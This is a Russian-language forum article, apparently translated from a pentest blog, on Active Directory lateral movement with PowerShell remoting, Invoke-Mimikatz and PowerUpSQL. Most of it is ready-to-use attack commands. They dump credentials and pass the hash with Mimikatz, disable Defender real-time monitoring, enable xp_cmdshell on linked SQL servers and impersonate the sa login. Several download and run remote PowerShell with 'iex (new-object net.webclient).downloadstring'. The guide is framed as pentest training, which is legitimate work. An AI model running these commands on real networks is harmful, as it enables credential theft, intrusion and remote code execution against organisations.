Статья Active Directory - Lateral Movement

Jolah Milovski

RAM
Пользователь
Регистрация
17.06.2021
Сообщения
119
Реакции
150

Active Directory - Lateral Movement


Этот руководство объясняет основные моменты бокового перемещения Active-Directory с помощью команд PowerShell, Inkove-Mimikats и MS-SQL.. Я также объясню те термины, которые каждый пентестер должен знать, чтобы понять атаки, выполненные в Active Directory.

На протяжении всей статьи я буду использовать PowerView , Invoke-Mimikatz и PowerUpSQL.psd1 при выполнении бокового перемещения в Windows/Active Directory Environment. Если потребуются какие-либо другие инструменты, они будут упомянуты непосредственно по их использованию.

Что такое боковое перемещение​

Боковое перемещение — это когда злоумышленник использует свои текущие права доступа для движения в окружающей среде. Повышение привилегий же, которое я уже объяснял, дает расширенные права доступа. Злоумышленники объединяют эти две тактики для достижения своей конечной цели кражи данных или нанесение иного ущерба вашей организации.

Удаленное взаимодействие PowerShell​

  • Думайте об этом как о psexec на стероидах.
  • Вы обнаружите, что это все чаще используется на предприятиях. Включено по умолчанию в Server 2012 и более поздних версиях.
  • Возможно, вам потребуется включить удаленное взаимодействие ( Enable-PSRemoting ) на настольном компьютере с Windows, для этого требуются права администратора.
  • Вы получаете повышенную оболочку в удаленной системе, если для аутентификации используются учетные данные администратора (что является настройкой по умолчанию).
По умолчанию включение удаленного взаимодействия PowerShell включает слушателя http и https. Слушатели работают на портах по умолчанию 5985 для http и 5986 для https .

Сеансы Powershell​

В приведенной ниже таблице, вы можете получить краткое представление о работе и использование команд которые мы будем использовать для выполнения атак.

1651752527769.png


Использовать -Credential параметр для передачи имени пользователя/пароля

Код с оформлением (BB-коды):
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<computer-name>", $pass)

Enter/New-PSSession Remoting (создание и управление новой сессией)


1. Подключение к PS-Session удаленного пользователя​

Код с оформлением (BB-коды):
Enter-PSSession -Computername <computer-name>

2. Выполнение команд Stateful с помощью Enter-PSSession​

Код с оформлением (BB-коды):
$sess = New-PSSession -Computername <computer-name>
Enter-PSSession -Session $sess

[scorp.star.light.local]:PS> $proc = Get-Process
[scorp.star.light.local]:PS> exit

Enter-PSSession -Session $sess

[scorp.star.light.local]:PS> proc
Will list current process

Invoke-Command

1. Выполнение команд Stateful с помощью Invoke-Command​

Код с оформлением (BB-коды):
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$proc.Name}

2. Показать разрешенные команды, которые мы можем выполнять на удаленной машине​

Код:
# скопируйте фрагмент команды с необходимыми параметрами
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -command {get-command}

3. Запишите файл с помощью ScriptBlock​

Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -ScriptBlock {Set-Content -Path 'c:\temp.bat' -Value 'whoami'}

4. Отредактируйте файл с помощью ScriptBlock​

Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-content') | set-content -path c:\mention\same\path\here}

5. Выполнение команды с помощью command и ScriptBlock​

Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -command {whoami}
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-required> -credential $cred -ScriptBlock {whoami}
Invoke-Command -computername <computer-name> -command {whoami}
Invoke-Command -computername <computer-name> -ScriptBlock {whoami}

6. Выполнение файла с помощью ScriptBlock​

Код с оформлением (BB-коды):
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-required> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -ScriptBlock{"C:\temp\mimikatz.exe"}

7. Выполнение файла с использованием FilePath​

Код с оформлением (BB-коды):
Invoke-Command -computername <computer-name> -FilePath "C:\temp\mimikatz.exe"

8. Языковой режим​

Код с оформлением (BB-коды):
-computername <computer-name> -ScriptBlock {$ExecutionContext.SessionState.LanguageMode}

Если значение LanguageMode равно Constrained , то будет разрешено выполнение только встроенных команд


Выполнение локально загруженной функции на удаленных машинах

Пример: Hello.ps1

Код с оформлением (BB-коды):
function hello
{
Write-Output "Hello from the function"
}

1. Теперь мы можем загрузить функцию на нашу машину​

Код с оформлением (BB-коды):
. .\Hello.ps1

2. Теперь мы можем выполнять локально загруженные функции​

Код с оформлением (BB-коды):
Invoke-Command -ScriptBlock ${function:hello} -ComputerName <computer-name>

3. В данном случае мы передаем аргументы. Имейте в виду, что таким образом можно передавать только позиционные аргументы.​


Код с оформлением (BB-коды):
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content <list of servers>) -
ArgumentList

4. Непосредственно загружать функции на удаленные машины, используя FilePath​

Код с оформлением (BB-коды):
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -FilePath "C:\temp\hello.ps1" -Session $sess
Enter-PSSession -Session $sess

[scorp.star.light.local]:PS> hello
Hello from the function


Invoke-Mimikatz

  • скрипты можно использовать для сброса учетных данных, тикетов и многого другого, используя mimikatz с помощью PowerShell, не сбрасывая исполняемый файл mimikatz на диск.
  • Это очень полезно для передачи и воспроизведения хэшей, билетов и многих захватывающих атак Active Directory.
  • С использованием код из ReflectivePEInjection, mimikatz загружается рефлективно в память. Все функции mimikatz можно использовать из этого сценарий.
  • Сценарию нужны права администратора для дампа учетные данные с локальной машины. Многие атаки требуют определенных привилегий которые рассматриваются при обсуждении этой атаки.

1. Сброс учетных данных на локальный компьютер​

Код с оформлением (BB-коды):
Invoke-Mimikatz -DumpCreds

2. Дамп учетных данных на нескольких удаленных машинах​


Код с оформлением (BB-коды):
Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")

Для этого Invoke-Mimikatz использует команду PowerShell remoting Invoke-Command.

3. «Передача хэша» — генерация токенов из хэшей​

Код с оформлением (BB-коды):
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'

4. Создайте новую сессию и выгрузите хэши​

Код:
# Создайте сессию для удаленного доступа
$sess = New-PSSession -ComputerName <computer-name>

# Обход AMSI
Invoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess

# Локальная загрузка mimikatz в вашей систему
Import-Module .\Invoke-Mimikatz.ps1

# Выполнение локально загруженных функций в вашей системе
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command '"sekurlsa::logonpasswords"'} -Session $sess


Перечисление MS-SQL — часть 1

  • Серверы MS-SQL обычно развернуты в большом количестве в домене Windows.
  • Серверы SQL предоставляют очень хорошие возможности для горизонтального перемещения, поскольку пользователи домена могут быть сопоставлены с ролями базы данных.
Для импорта скрипта используйте следующую команду:

Код:
Import-Module .\PowerUpSQL.psd1

Методология

1. Проверьте имена участников-служб
2. Проверьте, к каким SPN у вас есть доступ
3. Проверьте имеющиеся у вас привилегии для указанных выше отфильтрованных SPN.
4. Обратите внимание на Instance-Name , ServicePrincipalName и DomainAccount-Name.
5. Если вы найдете какой-либо сервис с более высокими привилегиями , продолжайте использовать его.

Перечисление PowerUpSQL

1. Перечислить SPN​

Код с оформлением (BB-коды):
Get-SQLInstanceDomain

2. Проверьте доступ​

Код с оформлением (BB-коды):
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose

3. Проверить привилегии/собрать информацию​

Код с оформлением (BB-коды):
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

4. Проверьте права на олицетворение (дополнительно)​

Код с оформлением (BB-коды):
Invoke-SQLAudit -Verbose -Instance <instanceName>


Использование MS-SQL — часть 2

  • Ссылка на базу данных позволяет SQL Server получать доступ к внешним источникам данных, таким как другие SQL Server и источники данных OLE DB.
  • В случае связей базы данных между SQL-серверами, то есть наличие связанных SQL-серверов, можно выполнять хранимые процедуры.
  • Связи с базами данных работают даже между лесными трастами.

Выполнение команд на целевом сервере​

  • На целевом сервере должен быть уже включен xp_cmdshell; или
  • Если rpcout включен (отключен по умолчанию), xp_cmdshell можно включить с помощью:
Код с оформлением (BB-коды):
EXECUTE('sp_configure ''xp_cmdshell'',1;   reconfigure;') AT "eu-sql"

  • Если rpcout отключен, но у нас есть sa , его можно включить с помощью
Код с оформлением (BB-коды):
EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true';

Методология
1. Проверьте ссылку SQL Server
2. Обратите внимание, есть ли у вас ссылка на любую другую базу данных в DatabaseLinkName
3. Если SysAdmin:0 означает, что нам не разрешат включить xp_cmdshell
4. Продолжайте перечислять и проверять все связанные базы данных, к которым у вас есть доступ.
5. Теперь мы можем попробовать выполнить команды во всех найденных связанных базах данных

PowerUpSQL - Злоупотребление привилегиями

1. Перечислить ссылки SQL Server​

Код с оформлением (BB-коды):
Get-SQLServerLink -Instance <instanceName> -Verbose
select * from master..sysservers

2. Перечислить ссылки на БД​

Код с оформлением (BB-коды):
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
select * from openquery("<instanceName>",'select * from openquery("<linkedInstance>",''select * from master..sysservers'')')

3. Выполнение команд на целевом сервере​

Код с оформлением (BB-коды):
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell 'whoami'" | ft

Дополнительные команды

1. Загрузите файл на целевой сервер​

Код с оформлением (BB-коды):
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://IP:8080/Invoke-HelloWorld.ps1'',''C:\Windows\Temp\Invoke-HelloWorld.ps1'')"'

2. Выдавать себя за пользователя​

Код с оформлением (BB-коды):
Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose

#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'powershell -c iex (new-object net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"

3. Базовые запросы SQL Server для перечисления БД​

Также работает с Get-SQLServerLinkCrawl.
Код с оформлением (BB-коды):
# просмотр всех баз данных в экземпляре
Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"
# просмотр всех баз данных
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.TABLES" 
# просмотр всех столбцов во всех базах данных
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM dbName.INFORMATION_SCHEMA.columns"
# просмотр данных в таблице
Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM tableName"

Перевод статьи https://0xstarlight.github.io/posts/Active-Directory-Lateral-Movement/













 

Вложения

  • 1651752467168.png
    1651752467168.png
    44 КБ · Просмотры: 3


Напишите ответ...